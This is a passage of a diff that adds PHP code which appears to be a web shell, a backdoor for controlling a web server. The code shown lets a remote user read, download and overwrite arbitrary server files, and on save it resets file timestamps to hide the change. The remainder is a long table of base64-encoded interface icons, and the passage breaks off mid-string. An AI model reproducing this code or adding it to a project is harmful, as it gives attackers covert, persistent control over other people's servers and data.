margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {exit;} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,strlen($d)-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". + +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", + +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". 